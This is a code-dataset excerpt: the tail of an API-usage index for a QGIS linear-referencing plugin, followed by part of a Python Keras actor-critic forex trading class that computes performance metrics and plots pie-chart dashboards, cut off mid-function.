"PyQt5.QtGui.QStandardItem", "line_number": 3423, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3423, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 3425, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3426, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3426, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3428, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3428, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3438, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3438, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3441, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3441, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3449, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3449, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3451, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3451, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3452, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3452, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSignalBlocker", "line_number": 3527, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3527, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 3540, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3540, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QListWidgetItem", "line_number": 3542, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3542, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3571, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3571, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3571, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3573, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3573, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3573, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3575, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3575, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3575, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3608, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3608, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3609, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3609, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3610, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3610, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3611, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3611, "usage_type": "name"}, {"api_name": "qgis.core.QgsExpressionContext", "line_number": 3613, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3613, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsExpression", "line_number": 3615, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3615, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsExpressionContext", "line_number": 3618, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3618, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsExpression", "line_number": 3619, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3619, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsExpressionContext", "line_number": 3622, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3622, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsExpression", "line_number": 3623, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3623, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 3627, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3627, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyQtWidgets.QTableWidgetItemCustomSort", "line_number": 3681, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyQtWidgets", "line_number": 3681, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3681, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 3687, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3687, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 3688, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3688, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3689, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3689, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3693, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3693, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3695, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3695, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3696, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3696, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3696, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3699, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3699, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3702, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3702, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3704, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3704, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3705, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3705, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3705, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3708, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3708, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3711, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3711, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3713, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3713, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3714, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3714, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3714, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3717, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3717, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3720, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3720, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3722, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3722, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3723, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3723, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3723, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3726, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3726, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyQtWidgets.QTableWidgetItemMultipleSort", "line_number": 3734, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyQtWidgets", "line_number": 3734, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3734, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 3741, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3741, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 3742, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3742, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3743, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3743, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3747, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3747, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3749, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3749, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3750, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3750, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3750, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3753, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3753, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3756, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3756, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3758, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3758, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3759, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3759, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3759, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3762, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3762, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3765, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3765, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3767, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3767, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3768, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3768, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3768, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3771, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3771, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyQtWidgets.QTableWidgetItemCustomSort", "line_number": 3778, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyQtWidgets", "line_number": 3778, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3778, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 3785, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3785, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 3786, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3786, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3787, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3787, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QToolButton", "line_number": 3791, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 3791, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3793, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3793, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3794, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3794, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3794, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 3797, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3797, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyQtWidgets.LambdaDelegate", "line_number": 3803, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyQtWidgets", "line_number": 3803, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3803, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyQtWidgets.LambdaDelegate", "line_number": 3805, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyQtWidgets", "line_number": 3805, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3805, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyQtWidgets.LambdaDelegate", "line_number": 3810, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyQtWidgets", "line_number": 3810, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3810, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSignalBlocker", "line_number": 3848, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 3848, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3860, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3860, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3860, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 3864, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3864, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3864, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3864, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3895, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3895, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3895, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3897, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3897, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3897, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 3901, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3901, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3901, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3901, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3907, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3907, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3907, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3909, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3909, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3909, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 3913, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3913, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3913, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3913, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3919, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3919, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3919, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3921, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3921, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3921, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 3925, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3925, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3925, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3925, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3931, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3931, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3931, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3933, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3933, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3933, "usage_type": "name"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 3939, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3939, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 3939, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 3945, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3945, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3945, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3945, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 3947, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 3947, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 3947, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3947, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 3964, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3964, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 3966, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3966, "usage_type": "attribute"}, {"api_name": "qgis.gui", "line_number": 4004, "usage_type": "attribute"}]}
{"seq_id": "34572742975", "text": "import keras\r\nfrom keras.models import Sequential, Model, load_model\r\nimport keras.backend as K\r\nimport json\r\nimport pickle\r\nimport os.path\r\nimport numpy as np\r\nimport random\r\nimport datetime\r\nfrom forexprime import *\r\nimport matplotlib.dates as mdates\r\n\r\n\r\nclass ForexTrader(ForexPrime):\r\n    def __init__(self,idval,accountID,access_token,modtype,modpath = [], actor_param = None,critic_param = None,funds = 1000 ,\\\r\n                 diff_acc = False,epsilon = 0.2, discount = 0.9, q_freq = 5, random_sampling = True):\r\n        super(ForexTrader,self).__init__(idval,accountID,access_token,modtype,funds)\r\n        self.actor = None\r\n        self.critic = None\r\n        self.mid_actor = None\r\n        self.mid_critic = None\r\n        \r\n        \r\n        self.asset_swing_val = 0\r\n        self.sharpe = 0\r\n        self.over_score = 0\r\n        self.layerlist = []\r\n        self.complexity = ['Low','Low']\r\n        self.complex_num = [1,1]\r\n        self.epsilon = epsilon\r\n        self.lrate = 0.01\r\n        self.unit_list = [100,1000,10000,100000]\r\n        self.epsilon_list = [0.2,0.3,0.4,0.5,0.6,0.7,0.8]\r\n        self.lrate_list = [0.1,0.01,0.001,0.0001,0.00001]\r\n        \r\n        \r\n        self.reward_punish = np.zeros((2)) + 0.01/self.funds\r\n        self.success_fail = np.zeros((2)) + 1\r\n        self.unit_desc = np.zeros((len(self.unit_list))) + 1\r\n        self.random_desc = np.zeros((2)) + 1\r\n        self.lrate_desc = np.zeros((len(self.lrate_list))) + 1\r\n        \r\n        self.unit_in = np.zeros((len(self.unit_list)))\r\n        self.epsilon_in = np.zeros((len(self.epsilon_list)))\r\n        self.lrate_in = np.zeros((len(self.lrate_list)))\r\n        self.unit_in[0] = 1\r\n        self.epsilon_in[0] = 1\r\n        self.lrate_in[0] = 1\r\n        \r\n        self.sel_action = [0,0,self.epsilon_list.index(self.epsilon),self.lrate_list.index(self.lrate)]\r\n        json_data = {}\r\n        \r\n        self.moves = np.arange(self.moves_allowed.size)\r\n        self.move_counter = np.zeros((self.moves_allowed.size)) + 1\r\n        \r\n        self.modpath = modpath\r\n        if not self.modpath:\r\n            pass\r\n        else:\r\n            self.model_load()\r\n        \r\n        self.actor_param = actor_param\r\n        self.critic_param = critic_param\r\n        self.diff_acc = diff_acc\r\n        self.q_freq = q_freq\r\n        \r\n        \r\n        #self.funds = funds\r\n        \r\n        self.discount = discount\r\n        self.random = random_sampling\r\n        \r\n        \r\n        self.time_info = np.zeros((2))\r\n        self.problist = []\r\n        self.actlist = []\r\n        #self.input = None\r\n        #self.output = None\r\n    \r\n    def complexity_cal(self):\r\n        self.complexity = ['Low','Low']\r\n        self.complex_num = [1,1]\r\n        mult_fac = 1\r\n        if self.modtype.split('-')[0] == '2':\r\n            mult_fac = 2\r\n        \r\n        if 'LSTM' in self.layerlist:\r\n            self.complexity[0] = 'High'\r\n            self.complex_num[0] = 2\r\n        \r\n               \r\n        self.complex_num[1] = min(int(np.log(self.actor.count_params()*mult_fac/100)),10)\r\n        \r\n        if len(self.layerlist) <= 5:\r\n            pass\r\n        \r\n        elif len(self.layerlist) > 5 and len(self.layerlist) < 10:\r\n            self.complexity[1] = 'Med'\r\n            \r\n        elif len(self.layerlist) >= 10:\r\n            self.complexity[1] = 'High'\r\n        \r\n        #print(self.complexity,self.complex_num)\r\n    \r\n    def asset_swing(self):\r\n        self.asset_swing_val = int(np.var((np.array(self.navlist)/100).astype(float)))\r\n    \r\n    def sharpe_ratio(self):\r\n        sumval = self.success_fail[0] + self.success_fail[1] - 2\r\n        if int(sumval) <= 1:\r\n            self.sharpe = 0\r\n        else:\r\n            daily_return = ((self.success_fail[0]-1)*2 + self.navlist[-1]/self.funds)/(sumval+1) - 1\r\n            \r\n            std_cal = np.zeros((int(sumval)+1))\r\n            std_cal[0:int(self.success_fail[0])-1] = 1\r\n            std_cal[-1] = self.navlist[-1]/self.funds - 1\r\n            std = np.std(std_cal)\r\n            try:\r\n                #self.sharpe = max(round((((daily_return + 1)**365 - 1) - 0.05)/std,2),0)\r\n                self.sharpe = max(round((daily_return - 0.05)/std,1),0)\r\n            except:\r\n                self.sharpe = 0\r\n    \r\n    def overall_score(self):\r\n        sumval = self.success_fail[0] + self.success_fail[1] - 2\r\n        if sumval == 0:\r\n            success_fail = 0\r\n        else:\r\n            success_fail = (self.success_fail[0]-1)*100/(self.success_fail[0] + self.success_fail[1] - 2)\r\n            \r\n        self.over_score =min(int( 0.3*self.sharpe*25 + \\\r\n        0.2*(success_fail) + \\\r\n        0.2*(100 - self.asset_swing_val) + \\\r\n        0.2*(self.success_fail[0]*100/np.sum(self.success_fail)) + \\\r\n        0.1*(14 - np.sum(np.array(self.complex_num)))*100/14),99)\r\n        \r\n    def plot_data(self):\r\n        self.asset_swing()\r\n        self.sharpe_ratio()\r\n        self.overall_score()\r\n        #print(self.complexity,self.complex_num)\r\n        self.write_trade_history()\r\n        \r\n                    \r\n        fig = plt.figure(1,figsize = (16,8))\r\n        #fig.clf()\r\n        \r\n        #Numlist = 7\r\n        Alist = 4\r\n        xl = np.arange(self.num_curr+1)\r\n        yl = np.arange(Alist)\r\n        #xlbl = ['None','EURGBP','EURJPY','EURUSD','GBPJPY','GBPUSD','USDJPY']\r\n        xlbl = [item.replace('_','') for item in self.curr_pair_list]\r\n        xlbl.insert(0,'None')\r\n        ylbl = [' Buy ',' Sell ',' Close1 ',' CloseAll ']\r\n        y = np.zeros((self.num_curr+1,Alist))\r\n        \r\n        y[0:] = (self.move_counter[0] - 1)/4\r\n        y[1:self.num_curr+1,:] = self.move_counter[1:].reshape((self.num_curr,Alist)) - 1\r\n        \r\n            \r\n        \r\n        width = 0.4\r\n        #fig = plt.figure(1,figsize = (20,10))\r\n        fig.patch.set_facecolor('whitesmoke')\r\n        plt.suptitle('Model '+self.modtype+' Perforfmance\\n')\r\n        ##############################################################\r\n        plt.subplot(3,5,1)\r\n        plt.title('Overall Score')\r\n        colors = ['steelblue','mintcream']\r\n        #print(self.over_score)\r\n        plt.pie([self.over_score,100-self.over_score], radius=1, labels=['',''], colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        try:\r\n            textvalue = self.over_score\r\n        except:\r\n            textvalue = 0\r\n        tcolor = colors[0]\r\n        if textvalue > 99:\r\n            textvalue = 99\r\n            \r\n        elif textvalue < 50:\r\n            tcolor = 'indianred'\r\n        \r\n        plt.text(x=-0.5,y=-0.3,s=str(textvalue).rjust(2,'0'),color = tcolor,weight = 600,size = 40)\r\n        ##############################################################\r\n        plt.subplot(3,5,2)\r\n        plt.title('Sharpe ratio')\r\n        colors = ['limegreen','mintcream']\r\n        \r\n        plt.pie([min(self.sharpe,3),3-min(self.sharpe,3)], radius=1, labels=['',''], colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        try:\r\n            textvalue = round(self.sharpe,1)\r\n        except:\r\n            textvalue = 0\r\n        tcolor = colors[0]\r\n        if textvalue > 3:\r\n            textvalue = '>3.0'\r\n            \r\n        elif textvalue < 1:\r\n            tcolor = 'indianred'\r\n        \r\n        plt.text(x=-0.55,y=-0.15,s=str(textvalue).rjust(3,'0'),color = tcolor,weight = 600,size = 24)\r\n        ##############################################################\r\n        plt.subplot(3,5,3)\r\n        plt.title('Design Complexity')\r\n        colors = ['darkkhaki','mintcream']\r\n        \r\n        plt.pie([self.complex_num[1], 10-self.complex_num[1]], radius=1, labels=['',''], colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        try:\r\n            textvalue = self.complexity[1]\r\n        except:\r\n            textvalue = 'NA'\r\n        tcolor = colors[0]\r\n        \r\n        if textvalue == 'Low':\r\n            tcolor = 'indianred'\r\n        \r\n        plt.text(x=-0.6,y=-0.15,s=textvalue,color = tcolor,weight = 600,size = 26)\r\n        ##############################################################\r\n        plt.subplot(3,5,6)\r\n        plt.title('Success Rate')\r\n        colors = ['yellowgreen','mintcream']\r\n        \r\n        plt.pie(self.success_fail, radius=1, labels=['',''], colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        try:\r\n            textvalue = int((self.success_fail[0]/np.sum(self.success_fail))*100)\r\n        except:\r\n            textvalue = 0\r\n        tcolor = colors[0]\r\n        if textvalue > 99:\r\n            textvalue = 99\r\n            \r\n        elif textvalue < 50:\r\n            tcolor = 'indianred'\r\n        \r\n        plt.text(x=-0.55,y=-0.15,s=(str(textvalue)+'%').rjust(3,'0'),color = tcolor,weight = 600,size = 26)\r\n        ##############################################################\r\n        plt.subplot(3,5,7)\r\n        plt.title('Asset Swing')\r\n        colors = ['crimson','mintcream']\r\n        \r\n        plt.pie([self.asset_swing_val,100-self.asset_swing_val], radius=1, labels=['',''], colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        try:\r\n            textvalue = self.asset_swing_val\r\n        except:\r\n            textvalue = 0\r\n        tcolor = colors[0]\r\n        if textvalue > 99:\r\n            textvalue = 99\r\n            \r\n        elif textvalue < 50:\r\n            tcolor = 'indianred'\r\n        \r\n        plt.text(x=-0.55,y=-0.15,s=(str(textvalue)+'%').rjust(3,'0'),color = tcolor,weight = 600,size = 26)\r\n        ##############################################################\r\n        plt.subplot(3,5,8)\r\n        plt.title('Exploration')\r\n        colors = ['slategray','mintcream']\r\n        \r\n        plt.pie(self.random_desc, radius=1, labels=['',''], colors=colors,\\\r\n                startangle = 0,wedgeprops = dict(linewidth = 1,width=width,edgecolor='mintcream'))\r\n        plt.axis('equal')\r\n        try:\r\n            textvalue = int(100*self.random_desc[0]/(np.sum(self.random_desc)))\r\n        except:\r\n            textvalue = 0\r\n        tcolor = colors[0]\r\n        \r\n        if textvalue > 99:\r\n            textvalue = 99\r\n            \r\n        elif textvalue < 50:\r\n            tcolor = 'indianred'\r\n        \r\n        plt.text(x=-0.55,y=-0.15,s=(str(textvalue)+'%').rjust(3,'0'),color = tcolor,weight = 600,size = 26)\r\n        \r\n        ##############################################################\r\n        plt.subplot(3,5,11)\r\n        plt.title('Reward Rate')\r\n        colors = 